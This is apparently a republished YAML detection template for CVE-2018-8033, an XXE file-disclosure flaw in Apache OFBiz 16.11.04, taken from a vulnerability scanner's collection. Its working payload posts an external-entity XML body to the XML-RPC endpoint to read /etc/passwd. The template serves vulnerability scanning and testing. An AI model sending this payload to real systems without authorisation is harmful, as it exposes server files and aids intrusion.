CVE-2018-8033: Apache OFBiz XXE

2025-08-01 Apache OFBiz PoC Public

Description

XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04

PoC

id: CVE-2018-8033

info:
  name: Apache OFBiz XXE
  author: pikpikcu
  severity: high
  description: |-
    XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
  reference:
    - https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8033
  tags: cve,cve2018,ofbiz,xxe
  created: 2023/08/10

rules:
  r0:
    request:
      method: POST
      path: /webtools/control/xmlrpc
      headers:
        Content-Type: application/xml
      body: <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

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Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2018/CVE-2018-8033.yaml

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